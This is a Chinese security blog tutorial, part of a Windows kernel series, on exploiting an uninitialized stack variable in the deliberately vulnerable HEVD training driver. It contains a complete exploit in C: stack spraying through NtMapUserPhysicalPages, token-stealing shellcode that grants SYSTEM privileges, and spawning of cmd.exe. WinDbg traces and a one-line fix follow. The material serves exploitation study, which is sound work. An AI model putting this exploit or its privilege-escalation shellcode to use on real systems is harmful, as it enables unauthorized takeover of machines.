windows内核之未初始化栈变量(五)


0x00 前言


Windows内核系列:

  1. windows内核之栈溢出(一)

  2. windows内核之任意地址写入(二)

  3. windows内核之UAF(三)

  4. windows内核之Null指针解引用(四)

0x01 漏洞原理


当我们的变量没有初始化(设置为NULL)时,那么这个变量会被设置为之前栈上存在的数据,那么我们就存在使用“栈喷射”将栈数据全部设置为某个值,然后参数就存在设置为我们想要的参数的可能。

0x02 漏洞缺陷定位


漏洞缺陷函数为:TriggerUninitializedMemoryStack()

下面这是TriggerUninitializedMemoryStack()的调用流程

image.png

漏洞调用流程:

函数设置了一个未初始化_UNINITIALIZED_MEMORY_STACK结构体变量UninitializedMemory,先判断我们传入的值地址是否在Ring3中,然后将判断传入的参数UserBuffer是否为0xBAD0B0B0,如果UserBuffer0xBAD0B0B0则设置_UNINITIALIZED_MEMORY_STACK成员Value0xBAD0B0B0和设置CallbackUninitializedMemoryStackObjectCallback函数的地址,如果UserBuffer不为0xBAD0B0B0则判断Callback成员是否为NULL,然后调用Callback指向的函数。
image (1).png
如上图,我们可以看到,由于_UNINITIALIZED_MEMORY_STACK没有初始化,所以存在利用“栈喷射”将_UNINITIALIZED_MEMORY_STACK结构体成员Callback设置为我们执行shellcode函数的地址。

0x03 溢出利用


利用EXP:(.c,win32,release生成项目文件)

#include <Windows.h>
#include <stdio.h>

HANDLE hDevice = NULL;

typedef NTSTATUS(WINAPI * My_NtMapUserPhysicalPages)(
    IN PVOID          VirtualAddress,
    IN ULONG_PTR      NumberOfPages,
    IN OUT PULONG_PTR UserPfnArray);

VOID ShellCode()
{
    _asm
    {
        //int 3
        pushad
        mov eax, fs: [124h]        // Find the _KTHREAD structure for the current thread
        mov eax, [eax + 0x50]   // Find the _EPROCESS structure
        mov ecx, eax
        mov edx, 4                // edx = system PID(4)

        // The loop is to get the _EPROCESS of the system
        find_sys_pid :
                     mov eax, [eax + 0xb8]    // Find the process activity list
                     sub eax, 0xb8            // List traversal
                     cmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PID
                     jnz find_sys_pid

                     // Replace the Token
                     mov edx, [eax + 0xf8]
                     mov[ecx + 0xf8], edx
                     popad
                     //int 3
                     ret
    }
}

BOOL init()
{
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}


static VOID Cmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}


VOID Trigger_shellcode()
{
    DWORD bReturn = 0;
    char buf[4] = {0};
    *(PDWORD32)(buf) = 0xBAD0B0B0 + 1;

    My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
        GetModuleHandle(L"ntdll"), 
        "NtMapUserPhysicalPages");

    if (NtMapUserPhysicalPages == NULL)
    {
        printf("[+]Failed to get MapUserPhysicalPages!!!\n");
        return;
    }

    PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
    memset(StackSpray, 0x41, 1024 * 4);

    printf("[+]Spray address is 0x%p\n", StackSpray);

    for (int i = 0; i < 1024; i++)
    {
        *(PDWORD)(StackSpray + i) = (DWORD)& ShellCode;
    }

    NtMapUserPhysicalPages(NULL, 1024, StackSpray);
    DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{

    if (init() == FALSE)
    {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }

    Trigger_shellcode();

    printf("[+]Start to Create cmd...\n");
    Cmd();
    system("pause");

    return 0;
}

一. 获取TriggerUninitializedMemoryStack()的控制码

image (2).png
反汇编IrpDeviceIoCtlHandler函数可以看到TriggerUninitializedMemoryStack()的控制码为:0x22202F

配置我们传入参数不为0xBAD0B0B0进而为下一步利用做铺垫

DWORD bReturn = 0;
 char buf[4] = {0};
 *(PDWORD32)(buf) = 0xBAD0B0B0 + 1;    //这里只要不为0xBAD0B0B0即可

将参数传入到内核中进而调用UninitializedMemory.Callback()

DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);

二、 配置栈喷射(注意:堆喷射和栈喷射是有区别的)

原理:
Windows内核API中存在一个函数NtMapUserPhysicalPages可以指定一个内存空间设置为栈缓冲区,所以一旦我们的结构体没有初始化且是栈数据时,我们就可以使用该函数将栈缓冲区都事先设置为我们的shellcode函数指针,进而达到利用。(栈喷射这里有详细讲解:nt!NtMapUserPhysicalPages 和内核堆栈喷射技术

我们先设置好NtMapUserPhysicalPages函数的参数空间

typedef NTSTATUS(WINAPI * My_NtMapUserPhysicalPages)(
 IN PVOID          VirtualAddress,
 IN ULONG_PTR      NumberOfPages,
 IN OUT PULONG_PTR UserPfnArray);

ntdll.dll中获取到NtMapUserPhysicalPages的函数指针

My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(GetModuleHandle(L"ntdll"), "NtMapUserPhysicalPages");
if (NtMapUserPhysicalPages == NULL)
{
 printf("[+]Failed to get MapUserPhysicalPages!!!\n");
 return;
}

然后使用malloc申请一个1024字节的内存块(因为NtMapUserPhysicalPages最多只能设置1024字节的内存空间)

PDWORD StackSpray = (PDWORD)malloc(1024 * 4);

将内存块初始化为A(因为是每bytes赋值,所以我们不能直接将内存块设置为shellcode指针)

memset(StackSpray, 0x41, 1024 * 4);
printf("[+]Spray address is 0x%p\n", StackSpray);

然后将内存块的每字节都设置为shellcode函数的指针

for (int i = 0; i < 1024; i++)
{
 *(PDWORD)(StackSpray + i) = (DWORD)& ShellCode;
}

然后将这个内存块设置为我们即将使用到的栈缓冲区

NtMapUserPhysicalPages(NULL, 1024, StackSpray);

三、设置我们的shellcode函数

shellcode将系统进程的Token拷贝到了我们的exp进程上

VOID ShellCode() {
 __asm {
     pushad                                        ;保存各寄存器数据
     ; start of Token Stealing Stub

     xor eax, eax                                ; eax设置为0
     mov eax, fs: [eax + 124h]                     ; 获取 nt!_KPCR.PcrbData.CurrentThread
     mov eax, [eax + 050h]                        ; 获取 nt!_KTHREAD.ApcState.Process
     mov ecx, eax                                ; 将本进程EPROCESS地址复制到ecx
     mov edx, 4                                    ; WIN 7 SP1 SYSTEM process PID = 0x4

     SearchSystemPID:
     mov eax, [eax + 0b8h]                        ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
         sub eax, 0b8h
         cmp[eax + 0b4h], edx                    ; 获取 nt!_EPROCESS.UniqueProcessId
         jne SearchSystemPID                        ; 循环检测是否是SYSTEM进程PID

         mov edx, [eax + 0f8h]                    ; 获取System进程的Token
         mov[ecx + 0f8h], edx                    ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
         ; End of Token Stealing Stub
   popad
         ret 8                                    ; Return cleanly
 }
}

四、创建一个本进程Token的CMD进程

static VOID Cmd()
{
 STARTUPINFO si = { sizeof(si) };
 PROCESS_INFORMATION pi = { 0 };
 si.dwFlags = STARTF_USESHOWWINDOW;
 si.wShowWindow = SW_SHOW;
 WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
 BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
 if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

利用成功

因为调用NtMapUserPhysicalPages函数设置的缓冲区不一定是我们进程的缓冲区,所以存在不一定成功性,可以多执行几遍程序。
image (3).png

0x04 分析NtMapUserPhysicalPages覆盖缓冲区情况

执行EXP.exe文件,查看到[+]Spray address is 0x003a2918
所以我们使用Windbg查看这段内存空间的数据情况

流程:

执行EXP.exe,查看到[+]Spray address is 0x003a2918

进入EXP进程上下文

kd> !dml_proc
Address  PID  Image file name
855f8a20 4    System         
86125890 f0   smss.exe       
867c2030 14c  csrss.exe      
8693ed40 180  wininit.exe    
8693f978 188  csrss.exe      
............
869d76f8 a0c  WmiPrvSE.exe   
86e15930 a7c  WmiApSrv.exe   
86dd1388 ad0  Uninitialized- 
86c5c7d0 adc  conhost.exe    
86dbe948 aec  cmd.exe        
86e61658 af4  cmd.exe        
86b09208 afc  conhost.exe

发现我们进程的PEB表的address为:86dd1388

kd> !dml_proc 0x86dd1388
Address  PID  Image file name
ReadVirtual: 86dd143c not properly sign extended
86dd1388 ad0  ReadVirtual: 86dd14f4 not properly sign extended
ReadVirtual: 86dd1534 not properly sign extended
Uninitialized-    Full details


Select user-mode state     Release user-mode state
Browse kernel module list  Browse user module list
Browse full module list
.........

我们进入这个进程的上下文

kd> .process /p /r 0x86dd1388
ReadVirtual: 86dd13a0 not properly sign extended
Implicit process is now 86dd1388
.cache forcedecodeuser done
Loading User Symbols
ReadVirtual: 86dd1530 not properly sign extended
.....

查看NtMapUserPhysicalPages覆盖缓冲区情况

kd> dd 3a2918 l100
003a2918  00dc1040 00dc1040 00dc1040 00dc1040
003a2928  00dc1040 00dc1040 00dc1040 00dc1040
003a2938  00dc1040 00dc1040 00dc1040 00dc1040
003a2948  00dc1040 00dc1040 00dc1040 00dc1040
003a2958  00dc1040 00dc1040 00dc1040 00dc1040
003a2968  00dc1040 00dc1040 00dc1040 00dc1040
003a2978  00dc1040 00dc1040 00dc1040 00dc1040
003a2988  00dc1040 00dc1040 00dc1040 00dc1040
003a2998  00dc1040 00dc1040 00dc1040 00dc1040
003a29a8  00dc1040 00dc1040 00dc1040 00dc1040
003a29b8  00dc1040 00dc1040 00dc1040 00dc1040
003a29c8  00dc1040 00dc1040 00dc1040 00dc1040
003a29d8  00dc1040 00dc1040 00dc1040 00dc1040
003a29e8  00dc1040 00dc1040 00dc1040 00dc1040
003a29f8  00dc1040 00dc1040 00dc1040 00dc1040
003a2a08  00dc1040 00dc1040 00dc1040 00dc1040
003a2a18  00dc1040 00dc1040 00dc1040 00dc1040
003a2a28  00dc1040 00dc1040 00dc1040 00dc1040
003a2a38  00dc1040 00dc1040 00dc1040 00dc1040
003a2a48  00dc1040 00dc1040 00dc1040 00dc1040
............

上面的00dc1040就是我们的shellcode函数地址

反汇编一下shellcode

kd> u 00dc1040
Uninitialized_Stack_Variable!ShellCode [D:\Sources\testing_file\HEVD.EXE\Uninitialized-Stack-Variable\Uninitialized-Stack-Variable\Uninitialized-Stack-Variable.c @ 12]:
00dc1040 53              push    ebx
00dc1041 56              push    esi
00dc1042 57              push    edi
00dc1043 60              pushad
00dc1044 64a124010000    mov     eax,dword ptr fs:[00000124h]
00dc104a 8b4050          mov     eax,dword ptr [eax+50h]
00dc104d 8bc8            mov     ecx,eax
00dc104f ba04000000      mov     edx,4

可以证实到这个就是我们的shellcode
那么问题来了,因为我们调用UninitializedMemory.Callback()时如果调用到了Callback参数上原缓冲区数据时,肯定会出现异常的,那么为什么程序能正常执行呢?

0x05 探测UninitializedMemory.Callback()

找到UninitializedMemory.Callback()的调用汇编

IDA静态分析到UninitializedMemory.Callback()的汇编指令
image (4).png
在Windbg中找到HEVD.sysTriggerUninitializedMemoryStack函数地址

kd> x HEVD!TriggerUninitializedMemoryStack
a21b5ffa          HEVD!TriggerUninitializedMemoryStack (void *)

经正则,定位到到+0x000000a1UninitializedMemory.Callback()

kd> u a21b5ffa+000000a1
a21b609b ffd0            call    eax
a21b609d eb2d            jmp     HEVD!TriggerUninitializedMemoryStack+0xd2 (a21b60cc)
a21b609f 8b45ec          mov     eax,dword ptr [ebp-14h]
a21b60a2 8b00            mov     eax,dword ptr [eax]
a21b60a4 8b00            mov     eax,dword ptr [eax]
a21b60a6 8985f0feffff    mov     dword ptr [ebp-110h],eax

给指定地址下断点

kd> bp a21b609b

再次执行EXP.exe后在这个断点下中断

一步一步执行查看情况

kd> p
HEVD!TriggerUninitializedStackVariable+0xbd:
01391040 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
kd> p
HEVD!TriggerUninitializedStackVariable+0xc4:
01391047 8bc7            mov     eax,edi
kd> p
HEVD!TriggerUninitializedStackVariable+0xc6:
01391056 e894c0ffff      call    HEVD!__SEH_epilog4 (013e3167)

可以看到当我们call了一个奇怪的地址时,就会跳转到异常处理上,避免错误

0x06 漏洞修复


只要将我们即将调用函数的结构体变量初始化即可将缺陷修复
_UNINITIALIZED_MEMORY_STACK UninitializedMemory;设置为_UNINITIALIZED_MEMORY_STACK UninitializedMemory = NULL;

参考链接:

评论

misift_Zero

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

Java安全 文章:34 篇
SQL注入 文章:39 篇
iOS安全 文章:36 篇
PHP安全 文章:45 篇
Python安全 文章:13 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录